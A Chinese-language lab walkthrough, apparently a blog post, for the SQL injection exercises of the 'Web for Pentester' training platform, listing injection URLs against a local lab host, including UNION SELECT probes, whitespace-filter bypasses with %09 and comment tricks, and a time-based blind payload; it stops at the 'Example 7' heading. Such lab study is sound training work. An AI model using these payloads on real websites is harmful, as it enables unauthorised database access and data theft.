【渗透测试学习平台】 web for pentester -2.SQL注入

Example 1

字符类型的注入，无过滤

http://192.168.91.139/sqli/example1.php?name=root

http://192.168.91.139/sqli/example1.php?name=root‘ and 1=1%23

http://192.168.91.139/sqli/example1.php?name=root‘ and 1=2%23

http://192.168.91.139/sqli/example1.php?name=root‘ union select 1,2,3,4,5%23

Example 2

与example1差不多，过滤了空格，语句中存现空格就会报错

mysql注入绕过空格过滤的方法：

1、水平制表(HT) url编码：%09

2、注释绕过空格   /*注释*/

3、括号绕过空格的方法，在time based盲注中

index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))

特点：1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作！

http://192.168.91.139/sqli/example2.php?name=root‘%09and%091=1%23

http://192.168.91.139/sqli/example2.php?name=root‘%09and%091=2%23

http://192.168.91.139/sqli/example2.php?name=root‘/**/union/**/select/**/1,2,3,4,5%23

Example 3

在example的基础上，\s匹配任何空白字符,包括空格、制表符、换页符等，全部过滤掉

可以使用example2中 /*注释*/ 绕过过滤

http://192.168.91.139/sqli/example3.php?name=root‘/**/union/**/select/**/1,2,3,4,5%23

Example 4

数值型的注入，过滤了单引号等，对数值型无效

http://192.168.91.139/sqli/example4.php?id=3 union select 1,2,3,4,5

Example 5

与前面类似，以一个数字开头的，后面可添加构造的sql语句进行攻击测试

http://192.168.91.139/sqli/example5.php?id=2 and 1=1--

http://192.168.91.139/sqli/example5.php?id=2 and 1=2--

Example 6

正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.

你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123.

http://192.168.91.139/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123

Example 7